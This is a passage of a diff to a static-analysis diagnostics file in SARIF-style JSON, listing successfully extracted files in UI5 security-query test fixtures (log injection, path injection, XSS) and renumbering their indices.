"artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/utils/CustomLogListener.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 201 } @@ -8276,7 +8303,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/utils/CustomLogListener.js", "uriBaseId" : "%SRCROOT%", "index" : 202 } @@ -8302,7 +8329,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 203 } @@ -8328,7 +8355,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 204 } @@ -8354,7 +8381,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package.json", "uriBaseId" : "%SRCROOT%", "index" : 205 } @@ -8380,7 +8407,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 206 } @@ -8406,7 +8433,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 207 } @@ -8458,7 +8485,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 209 } @@ -8484,7 +8511,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 210 } @@ -8510,7 +8537,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 211 } @@ -8536,7 +8563,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 212 } @@ -8562,7 +8589,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 213 } @@ -8588,7 +8615,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 214 } @@ -8614,7 +8641,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package.json", "uriBaseId" : "%SRCROOT%", "index" : 215 } @@ -8640,7 +8667,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", "index" : 216 } @@ -8666,7 +8693,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 217 } @@ -8692,7 +8719,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 218 } @@ -8718,7 +8745,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 219 } @@ -8744,7 +8771,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 220 } @@ -8770,7 +8797,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 221 } @@ -8796,7 +8823,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 222 } @@ -8822,7 +8849,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package.json", "uriBaseId" : "%SRCROOT%", "index" : 223 } @@ -8848,7 +8875,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 224 } @@ -8874,7 +8901,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", "index" : 225 } @@ -8900,7 +8927,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 226 } @@ -8926,7 +8953,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 227 } @@ -8952,7 +8979,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 228 } @@ -8978,7 +9005,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 229 } @@ -9004,7 +9031,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 230 } @@ -9030,7 +9057,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 231 } @@ -9056,7 +9083,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package.json", "uriBaseId" : "%SRCROOT%", "index" : 232 } @@ -9082,7 +9109,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 233 } @@ -9108,7 +9135,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 234 } @@ -9134,7 +9161,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 235 } @@ -9156,6 +9183,58 @@ "text" : "" } } + }, { + "locations" : [ { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/ui5.yaml", + "uriBaseId" : "%SRCROOT%", + "index" : 236 + } + } + } ], + "message" : { + "text" : "" + }, + "level" : "none", + "descriptor" : { + "id" : "js/diagnostics/successfully-extracted-files", + "index" : 1, + "toolComponent" : { + "index" : 0 + } + }, + "properties" : { + "formattedMessage" : { + "text" : "" + } + } + }, { + "locations" : [ { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml", + "uriBaseId" : "%SRCROOT%", + "index" : 237 + } + } + } ], + "message" : { + "text" : "" + }, + "level" : "none", + "descriptor" : { + "id" : "js/diagnostics/successfully-extracted-files", + "index" : 1, + "toolComponent" : { + "index" : 0 + } + }, + "properties" : { + "formattedMessage" : { + "text" : "" + } + } }, { "locations" : [ { "physicalLocation" : { @@ -9186,9 +9265,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", - "index" : 236 + "index" : 238 } } } ], @@ -9214,7 +9293,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/.eslintrc.json", "uriBaseId" : "%SRCROOT%", - "index" : 237 + "index" : 239 } } } ], @@ -9240,7 +9319,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package-lock.json", "uriBaseId" : "%SRCROOT%", - "index" : 238 + "index" : 240 } } } ], @@ -9266,7 +9345,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package.json", "uriBaseId" : "%SRCROOT%", - "index" : 239 + "index" : 241 } } } ], @@ -9292,7 +9371,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/ui5.yaml", "uriBaseId" : "%SRCROOT%", - "index" : 240 + "index" : 242 } } } ], @@ -9318,7 +9397,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/Component.js", "uriBaseId" : "%SRCROOT%", - "index" : 241 + "index" : 243 } } } ], @@ -9344,7 +9423,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 242 + "index" : 244 } } } ], @@ -9370,7 +9449,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js", "uriBaseId" : "%SRCROOT%", - "index" : 243 + "index" : 245 } } } ], @@ -9396,7 +9475,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/index.html", "uriBaseId" : "%SRCROOT%", - "index" : 244 + "index" : 246 } } } ], @@ -9422,7 +9501,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", - "index" : 245 + "index" : 247 } } } ], @@ -9448,7 +9527,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/model/todoitems.json", "uriBaseId" : "%SRCROOT%", - "index" : 246 + "index" : 248 } } } ], @@ -9474,7 +9553,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/AllJourneys.js", "uriBaseId" : "%SRCROOT%", - "index" : 247 + "index" : 249 } } } ], @@ -9500,7 +9579,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/FilterJourney.js", "uriBaseId" : "%SRCROOT%", - "index" : 248 + "index" : 250 } } } ], @@ -9526,7 +9605,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/SearchJourney.js", "uriBaseId" : "%SRCROOT%", - "index" : 249 + "index" : 251 } } } ], @@ -9552,7 +9631,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/TodoListJourney.js", "uriBaseId" : "%SRCROOT%", - "index" : 250 + "index" : 252 } } } ], @@ -9578,7 +9657,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/arrangements/Startup.js", "uriBaseId" : "%SRCROOT%", - "index" : 251 + "index" : 253 } } } ], @@ -9604,7 +9683,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.html", "uriBaseId" : "%SRCROOT%", - "index" : 252 + "index" : 254 } } } ], @@ -9630,7 +9709,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.js", "uriBaseId" : "%SRCROOT%", - "index" : 253 + "index" : 255 } } } ], @@ -9656,7 +9735,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/pages/App.js", "uriBaseId" : "%SRCROOT%", - "index" : 254 + "index" : 256 } } } ], @@ -9682,7 +9761,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.html", "uriBaseId" : "%SRCROOT%", - "index" : 255 + "index" : 257 } } } ], @@ -9708,7 +9787,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.js", "uriBaseId" : "%SRCROOT%", - "index" : 256 + "index" : 258 } } } ], @@ -9734,7 +9813,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/AllTests.js", "uriBaseId" : "%SRCROOT%", - "index" : 257 + "index" : 259 } } } ], @@ -9760,7 +9839,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/controller/App.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 258 + "index" : 260 } } } ], @@ -9786,7 +9865,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.html", "uriBaseId" : "%SRCROOT%", - "index" : 259 + "index" : 261 } } } ], @@ -9812,7 +9891,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.js", "uriBaseId" : "%SRCROOT%", - "index" : 260 + "index" : 262 } } } ], @@ -9838,7 +9917,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/util/Helper.js", "uriBaseId" : "%SRCROOT%", - "index" : 261 + "index" : 263 } } } ], @@ -9864,7 +9943,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/view/App.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 262 + "index" : 264 } } } ], @@ -9890,7 +9969,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package-lock.json", "uriBaseId" : "%SRCROOT%", - "index" : 263 + "index" : 265 } } } ], @@ -9916,7 +9995,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package.json", "uriBaseId" : "%SRCROOT%", - "index" : 264 + "index" : 266 } } } ], @@ -9942,7 +10021,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/ui5.yaml", "uriBaseId" : "%SRCROOT%", - "index" : 265 + "index" : 267 } } } ], @@ -9968,7 +10047,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 266 + "index" : 268 } } } ], @@ -9994,7 +10073,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 267 + "index" : 269 } } } ], @@ -10020,7 +10099,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.html", "uriBaseId" : "%SRCROOT%", - "index" : 268 + "index" : 270 } } } ], @@ -10046,7 +10125,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 269 + "index" : 271 } } } ], @@ -10072,7 +10151,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", - "index" : 270 + "index" : 272 } } } ], @@ -10098,7 +10177,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 271 + "index" : 273 } } } ], @@ -10124,7 +10203,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package-lock.json", "uriBaseId" : "%SRCROOT%", - "index" : 272 + "index" : 274 } } } ], @@ -10150,7 +10229,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package.json", "uriBaseId" : "%SRCROOT%", - "index" : 273 + "index" : 275 } } } ], @@ -10176,7 +10255,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/ui5.yaml", "uriBaseId" : "%SRCROOT%", - "index" : 274 + "index" : 276 } } } ], @@ -10202,7 +10281,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 275 + "index" : 277 } } } ], @@ -10228,7 +10307,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 276 + "index" : 278 } } } ], @@ -10254,7 +10333,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.html", "uriBaseId" : "%SRCROOT%", - "index" : 277 + "index" : 279 } } } ], @@ -10280,7 +10359,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 278 + "index" : 280 } } } ], @@ -10306,7 +10385,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", - "index" : 279 + "index" : 281 } } } ], @@ -10332,7 +10411,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 280 + "index" : 282 } } } ], @@ -10358,7 +10437,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package-lock.json", "uriBaseId" : "%SRCROOT%", - "index" : 281 + "index" : 283 } } } ], @@ -10384,7 +10463,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package.json", "uriBaseId" : "%SRCROOT%", - "index" : 282 + "index" : 284 } } } ], @@ -10410,7 +10489,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/ui5.yaml", "uriBaseId" : "%SRCROOT%", - "index" : 283 + "index" : 285 } } } ], @@ -10436,7 +10515,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 284 + "index" : 286 } } } ], @@ -10462,7 +10541,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 285 + "index" : 287 } } } ], @@ -10488,7 +10567,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.html", "uriBaseId" : "%SRCROOT%", - "index" : 286 + "index" : 288 } } } ], @@ -10514,7 +10593,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 287 + "index" : 289 } } } ], @@ -10540,7 +10619,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", - "index" : 288 + "index" : 290 } } } ], @@ -10566,7 +10645,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 289 + "index" : 291 } } } ], @@ -10592,7 +10671,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package-lock.json", "uriBaseId" : "%SRCROOT%", - "index" : 290 + "index" : 292 } } } ], @@ -10618,7 +10697,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package.json", "uriBaseId" : "%SRCROOT%", - "index" : 291 + "index" : 293 } } } ], @@ -10644,7 +10723,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/ui5.yaml", "uriBaseId" : "%SRCROOT%", - "index" : 292 + "index" : 294 } } } ], @@ -10670,7 +10749,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 293 + "index" : 295 } } } ], @@ -10696,7 +10775,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 294 + "index" : 296 } } } ], @@ -10722,7 +10801,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.html", "uriBaseId" : "%SRCROOT%", - "index" : 295 + "index" : 297 } } } ], @@ -10748,7 +10827,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 296 + "index" : 298 } } } ], @@ -10774,7 +10853,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", - "index" : 297 + "index" : 299 } } } ], @@ -10800,7 +10879,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 298 + "index" : 300 } } } ], @@ -10826,7 +10905,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package-lock.json", "uriBaseId" : "%SRCROOT%", - "index" : 299 + "index" : 301 } } } ], @@ -10852,7 +10931,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package.json", "uriBaseId" : "%SRCROOT%", - "index" : 300 + "index" : 302 } } } ], @@ -10878,7 +10957,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/ui5.yaml", "uriBaseId" : "%SRCROOT%", - "index" : 301 + "index" : 303 } } } ], @@ -10904,7 +10983,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 302 + "index" : 304 } } } ], @@ -10930,7 +11009,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 303 + "index" : 305 } } } ], @@ -10956,7 +11035,7 @@ "artifactLocation" : { "uri" : 